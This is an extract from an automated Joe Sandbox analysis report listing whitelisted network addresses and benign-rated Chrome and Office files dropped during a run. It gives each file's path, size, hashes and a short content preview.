Excluded IPs from analysis (wh itelisted): 172.217.168.10, 104.18.23.52, 104.18.22.52, 69.16.175.42, 69.16.175.10, 188.114.96.10, 188.114.97.10, 104.16 .87.20, 104.16.89.20, 104.16.8
6.20, 104.16.85.20, 104.16.88.20, 142.250.203.106, 34.104.35.123, 142.250.203.99
Excluded domains from analysis (whitelisted): logincdn.msauth.net, cds.s5x3j6q5.hwcdn.net, cdn.jsdelivr.net.cdn.cloudflare.net, ka-f.fontawesome.com.cdn.cloudflare.net, clientservi
ces.googleapis.com, arc.msn.com, login.live.com, sls.update.microsoft.com, update.googleapis.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net,
www.gstatic.com, global-entry-afdthirdparty-fallback.trafficmanager.net, kit.fontawesome.com.cdn.cloudflare.net, fonts.googleapis.com, fs.microsoft.com, fonts.gstatic.com, ajax.googlea
pis.com, aadcdnoriginwus2.azureedge.net, lgincdnvzeuno.ec.azureedge.net, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, lgincdnvzeuno.azureedge.net, ris.api.iris.mi
crosoft.com, edgedl.me.gvt1.com, store-images.s-microsoft.com, lgincdn.trafficmanager.net, aadcdnoriginwus2.afd.azureedge.net
Not all processes where analyzed, report is missing behavior  information
Report size getting too big, t oo many NtCreateFile calls found.
Report size getting too big, t oo many NtOpenFile calls found.
Report size getting too big, t oo many NtSetInformationFile calls found.
Report size getting too big, t oo many NtWriteVirtualMemory calls found.

⊘ No simulations

⊘ No context

⊘ No context

⊘ No context

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs
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⊘ No context

⊘ No context

Process: C:\Program Files\Google\Chrome\Application\85.0.4183.121\elevation_service.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 259472

Entropy (8bit): 6.621401853828968

Encrypted: false

SSDEEP: 6144:wgtABO5wl1poLsQXo2fJjazGDJvvLAOk7CWn5l4rB+5Jb:wgtAFB+sQXo2ZRG7CWnaB+5Jb

MD5: 49AC3C96D270702A27B4895E4CE1F42A

SHA1: 55B90405F1E1B72143C64113E8BC65608DD3FD76

SHA-256: 82AA3FD6A25CDA9E16689CFADEA175091BE010CECAE537E517F392E0BEF5BA0F

SHA-512: B62F6501CB4C992D42D9097E356805C88AC4AC5A46EAD4A8EEE9F8CBAE197B2305DA8AAB5B4A61891FE73951588025F2D642C32524B360687993F98C913138A0

Malicious: false

Antivirus: Antivirus: Virustotal, Detection: 1%, Browse
Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: moderate, very likely benign file

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;....zp..zp..zp...s.qzp...u..zp...t.\zp...s.izp...u.;zp...t.gzp...q.fzp..zq..
{p...y.Ezp.....~zp..z..~zp...r.~zp.Rich.zp.................PE..L....a|b.................V..........|........p....@.......................... ......vI....@.................................Tl..........p2...............#...... $
...\..T...........................(]..@............p..H............................text....U.......V.................. ..`.rdata.......p.......Z..............@..@.data...d'...........j..............@....rsrc...p2.......4...x......
........@..@.reloc.. $.......&..................@..B......................................................................................................................................................................................................
..........................................................................................

Process: C:\Program Files\Google\Chrome\Application\85.0.4183.121\elevation_service.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 145035

Entropy (8bit): 7.995615725071868

Encrypted: true

SSDEEP: 3072:TdgEhmDf+E8VY0x81Rkc6L2oqzqkPEu30gZlc3G2ZknF:TyEhmDf+/+Fnkj6lEukgZyyF

MD5: EA1C1FFD3EA54D1FB117BFDBB3569C60

SHA1: 10958B0F690AE8F5240E1528B1CCFFFF28A33272

SHA-256: 7C3A6A7D16AC44C3200F572A764BCE7D8FA84B9572DD028B15C59BDCCBC0A77D

SHA-512: 6C30728CAC9EAC53F0B27B7DBE2222DA83225C3B63617D6B271A6CFEDF18E8F0A8DFFA1053E1CBC4C5E16625F4BBC0D03AA306A946C9D72FAA4CEB779F8FF
CAF

Malicious: false

Reputation: moderate, very likely benign file

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b..........S'.....2.{.....'....+.'.."..Y.x.ISa...)....H.&92..?!..~..F.5."...n,.B.-|\.)..(..... ]G..j.-M)...
.C......o&L..0.K.....UtP.&.N...;..^w/a{)v...~KG;...?.1...k.c..D.U......J.6.`.G.5.x.k..[...i.A.@I^..I.<A. J...j.'.G.`.$q.N..Tdq]2]p.OF..#.#......'....8.3......0.."0...*.H.............0.............O..(
...':19..O/.>....=.....m.n\.z..q.....JW..F......+H.Z+KGO.9....8.....U...&.y....,$...?.Eo.....\f/.Z..+M8...B.3'..Y.r...X.AS?.~..k..n....... Z...&.G....."n..........l.0v.x#<....Lx,-.w..-..d.....J.pT..('
e~*{%kQ.Q......rI.....Z....v.N.....J.d_......rX.......w@.b.[.c../V.'c...!.~.k..}z...U.S..nC......@.......Y..#.D.z.....5&.1O...X=p..2.F..P.6yP..>{.....HBX.*.E5....y..

Process: C:\Program Files\Google\Chrome\Application\85.0.4183.121\elevation_service.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1772

Entropy (8bit): 6.019907048086037

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecovery.exe

C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecoveryCRX.crx

C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\_metadata\verified_contents.json

Copyright Joe Security LLC 2022 Page 13 of 222

https://www.virustotal.com/gui/file/82aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f/detection/f-82aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f-1653501122
https://www.metadefender.com/#!/results/file/bzIyMDUyMEw0MUVReUZaczluZE9xVnVsUlA/regular/analysis


Encrypted: false

SSDEEP: 48:p/hPGxBJ7akeSpKssMLgWuG7bmTkfhs8vox:R9i7aaKssMUWuG7biIQx

MD5: 35C7E305A06F30D3F0A97693C3504265

SHA1: B30C965F53A93676CC9D87D29F5E6AC5B605DD84

SHA-256: 3B6FB2683B4DFD83FDD0C6EE096F378AA85C6B1ACC73EC66288802A71C9381F7

SHA-512: A6AC0DDC3C99D59A2C667410FE94BB8F267D1CF422C337FEBCFBAE23D5C965B0E965FF0B77FC88FA9E7B06EE6CE6D532B6ECB0D87A53FB282260EF812379E
B7C

Malicious: false

Reputation: moderate, very likely benign file

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJDaHJvbWVSZWNvdmVyeS5leGUiLCJyb290X2hhc2giOiJVUTRsOWhOY3VCS21lc2Utakd2ZE52X1VCWXFTTWNpTGZQM3pxZ2tnXy0wIn0se
yJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6IjBhd25UUEVCZ0NEeTJXTmFVWTdSb2ZJY3dzdnA0cVE1THNlUzFVdGJVdjQifV0sImZvcm1hdCI6InRyZWV
oYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJmcGplb2FkbWdlZGFqcGxtcG9hYWprY2hkb2ZjbHBrZiIsIml0ZW1fdmVyc2lvbiI6IjEuMy4zNi4xNDEiLCJ
wcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"ef1pxaTj-_-MaYe95eLdI4WHEPJq4
PB7n1seVNh9AxlAGhDeKZD2PDPdzEYwLEXP6d3DCgNBaZDMZeByzQbRob9fSKBwHKzITZC0ScxWJTc8DuWlYfQdRMTrzxr_7S1FVvRx4Fxi7FFg921RIa7d2
zXCGnA8qIvfUzYBU0TYoMeo--GC5JmJGpwrDi_9Xq0saxXUViu8o7Vlbul2ZEFLNMpHSfafBFLJVD_0cJc5arSdhdEVdAW1MztVSQ8CFfKhci2LBn3fKihN2_klwBKfbfm
zKNm5aLoOf_iG3hjIoLji8dcxYo5sYXugJENpRrs-_AclQKykKKuD8wi45RK

Process: C:\Program Files\Google\Chrome\Application\85.0.4183.121\elevation_service.exe

File Type: ASCII text

Category: dropped

Size (bytes): 195

Entropy (8bit): 4.682333395896383

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFJ9LAG9Xg0XTFHqS1wP/pEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlM90ggITgS1wnuWfB0NpK4aotL

MD5: 7A8E3A0B6417948DF4D49F3915428D7A

SHA1: 4FC084AABDB13483567D5C417C7ED8FD16726A80

SHA-256: D1AC274CF1018020F2D9635A518ED1A1F21CC2CBE9E2A4392EC792D54B5B52FE

SHA-512: 064D84A57B28C19AD10742859DA493D0826B47ADC632F6C623DFB4DE36D72A9D29BE98518061A9FFD42D99FCF01F27DE39CE74782B3A5ACBBE11DFDDEEAB5
9A1

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "ImprovedRecoveryComponentInner",.  "version": "1.3.36.141",.  "imageName": "image.squash",.  "squash": true,.  "fsType": "
squashfs",.  "isRemovable": false.}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 206598

Entropy (8bit): 6.073217349404652

Encrypted: false

SSDEEP: 3072:hk3W1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:638jTy8juX0o/74aqfIlUOoSiuRV

MD5: F15FF1C6015E02ADCAF79F7757B83D20

SHA1: 8457085CB4F3B14AD4822E57D8D87A4636EFA8E9

SHA-256: B3E962C948DBB1C5987A81B91FBAD3BBA86C6FF4BFDFCC8A5110947F89CDCC81

SHA-512: 5922A21FEC1896E676F7159D8EF3B271C1D998036AF02A5FEBDB1D3B106C605A253DA186F305D833272B918D63B4FB4A0E93BD5400CB23BAC7A90F59460A0178

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 96052

Entropy (8bit): 3.751788902375526

Encrypted: false

SSDEEP: 384:Fz4HP1KUBuVZVW8LGNjr4v/V3IXtUH9MGUTre5T3xxrBpNorifmKOQ6l7bbUOJhY:tG6VVisM08ezX5BoHXO9K3VrpW

C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\manifest.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\0508af9e-5b8a-42f4-ae13-2356a197728d.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\29141829-89d2-4f4f-93f1-9015214f17d7.tmp

Copyright Joe Security LLC 2022 Page 14 of 222



MD5: 807C648F64F13BA243982E8AFF219BA7

SHA1: 88EA6C14721AFE9FE83B6A282BF1067F31F0A7D0

SHA-256: 0F2B12CF3458EAC26AE3A275DA892778B89E383ECBACC8001F1FE9A59BF101A6

SHA-512: 1175C02AAEB3285E2ABEAAAF5F4242A3B04BF81F576E86617434D7C9CFC10B41A6779855B8D1ACA34884C4CD92F8E872E4FD1DD3F209240A1556E8CA3F66C70
5

Malicious: false

Preview: 0w..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...K]8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 198498

Entropy (8bit): 6.04559552904453

Encrypted: false

SSDEEP: 3072:jW1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:j8jTy8juX0o/74aqfIlUOoSiuRV

MD5: FA3734DDA7C8DCA758E7820B7E00F1A4

SHA1: 8A8EF303DF5ACCEE8E4E79177A33C364026F6E4F

SHA-256: 0F385A994DD1F0C41777A9376C17A0B831AE2C60F971CA2226264ED15A1B296E

SHA-512: 36A8AF5D2D993B6FD00101DC0B3866AB27F72E4A274965E0844F03A31BD88D4C57ADBCA9AB62832DBA5888030F77DE76445A0BA5884E1ACB05F913DD4783621
B

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 198320

Entropy (8bit): 6.04519324274316

Encrypted: false

SSDEEP: 3072:FW1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:F8jTy8juX0o/74aqfIlUOoSiuRV

MD5: 7FFF9DFFA15007F42C7C100AAC52C060

SHA1: 498652F70096C899441D866E8B4FCF95AD9F0C4E

SHA-256: A429829AB26FD63BE2052AFB3E92DD2ED1835CB0B4E10FAE76C6AD6D717EE423

SHA-512: FE3A8B3040D42BB267568F3C1F48F4581D18C0EEF005A74DDF369254DF561DC9BDB7B43123794CE00E614B6C94C639D0A54F2794A64B43FC63201DCBFFBFDB2
A

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 206598

Entropy (8bit): 6.073217349404652

Encrypted: false

SSDEEP: 3072:hk3W1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:638jTy8juX0o/74aqfIlUOoSiuRV

C:\Users\user\AppData\Local\Google\Chrome\User Data\2e5ea4ae-338b-4e7b-bcc0-d359481046b9.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\3b206e03-16b0-429d-9eb6-ed45004f3f87.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\65a22dc6-7c7b-4716-bebd-59ee7e686793.tmp
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MD5: F15FF1C6015E02ADCAF79F7757B83D20

SHA1: 8457085CB4F3B14AD4822E57D8D87A4636EFA8E9

SHA-256: B3E962C948DBB1C5987A81B91FBAD3BBA86C6FF4BFDFCC8A5110947F89CDCC81

SHA-512: 5922A21FEC1896E676F7159D8EF3B271C1D998036AF02A5FEBDB1D3B106C605A253DA186F305D833272B918D63B4FB4A0E93BD5400CB23BAC7A90F59460A0178

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 92724

Entropy (8bit): 3.751405660405653

Encrypted: false

SSDEEP: 384:7z4HP1KUNVKLGNjr4v/V3IXtUH9MGUTre5T3xIBpNorifmKt6l7bbUOJhDNe1zCL:46VViBM08ezX5BoHXO9K3Vrp1

MD5: 7F76544A0235964C6B46D132F2EADD73

SHA1: 937EA1B28077DA407F60ED4F81A830EFDF7DCA06

SHA-256: 587913F42CE1015CAE69F588CE881405B1B66F5ADFEFD8F1A2D3B3C235A1FB2F

SHA-512: 9B454F2F4DD12B6DFD451A452A33092680D0571BF8A4E042607FB88561DCFCB0A777BCC1E88E8B773E7B191E3A99A4B78715606564741B6F5FA7E8B69CBA9E5
0

Malicious: false

Preview: 0j..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...K]8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SysEx File -

Category: dropped

Size (bytes): 94708

Entropy (8bit): 3.752014802446992

Encrypted: false

SSDEEP: 384:lz4HP1KUBuVZVW8LGNjr4v/V3IXtUH9MGUTre5T3xIBpNorifmKt6l7bbUOJhDN3:NG6VViBM08ezX5BoHXO9K3VrpT

MD5: 4AE04A85F57C1F6B418E877E018F9E59

SHA1: E9C074D8F2D38C5DD5CB7C6ADD83C5C92EA12126

SHA-256: 58B7305310BE2BD361B8423ECCF343255F3FB4263EDE0D741C6B03D9DF41E9C3

SHA-512: 642914CD2B900341C80B077EABEECBE17262C7FD51148E22FAD4F4C83B6DA822999D6473152D3AEA10BBCD725BA8513E7CF1184460763731CDCC6821D5F8363
5

Malicious: false

Preview: .q..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...K]8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 198498

Entropy (8bit): 6.04559552904453

Encrypted: false

SSDEEP: 3072:jW1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:j8jTy8juX0o/74aqfIlUOoSiuRV

MD5: FA3734DDA7C8DCA758E7820B7E00F1A4

C:\Users\user\AppData\Local\Google\Chrome\User Data\683703b1-4b89-4df1-90 -61e32baac2c2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\6926e3a0-1b2c-4b38-a7c5-6e8de3906348.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\6c210c5d-1ea1-443c-bdae-bf7e85fc998b.tmp
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SHA1: 8A8EF303DF5ACCEE8E4E79177A33C364026F6E4F

SHA-256: 0F385A994DD1F0C41777A9376C17A0B831AE2C60F971CA2226264ED15A1B296E

SHA-512: 36A8AF5D2D993B6FD00101DC0B3866AB27F72E4A274965E0844F03A31BD88D4C57ADBCA9AB62832DBA5888030F77DE76445A0BA5884E1ACB05F913DD4783621
B

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 95428

Entropy (8bit): 3.7516690867685476

Encrypted: false

SSDEEP: 384:Vz4HP1KUBuVZVW8LGNjr4v/V3IXtUH9MGUTre5T3xIBpNorifmKOQ6l7bbUOJhDZ:dG6VViBM08ezX5BoHXO9K3VrpP

MD5: 84BA2D05508F6E46AAB7F1776F992D1C

SHA1: FA9795CABFF62A97B2375B39FB51CFBB1B1836C9

SHA-256: 26576471CDCF39E95F10FAC74CB39AE91811A25071D53A88EC1A9373B5937F7B

SHA-512: 0CD7F5FD468C4819ADD6DF66E620B5A6025ACF696EA86424D49DC7850252FFCA198D374E0A10559EECD235D33BA81FF1CA2A3B8C77DDBC1A8EAC0312DA824
96F
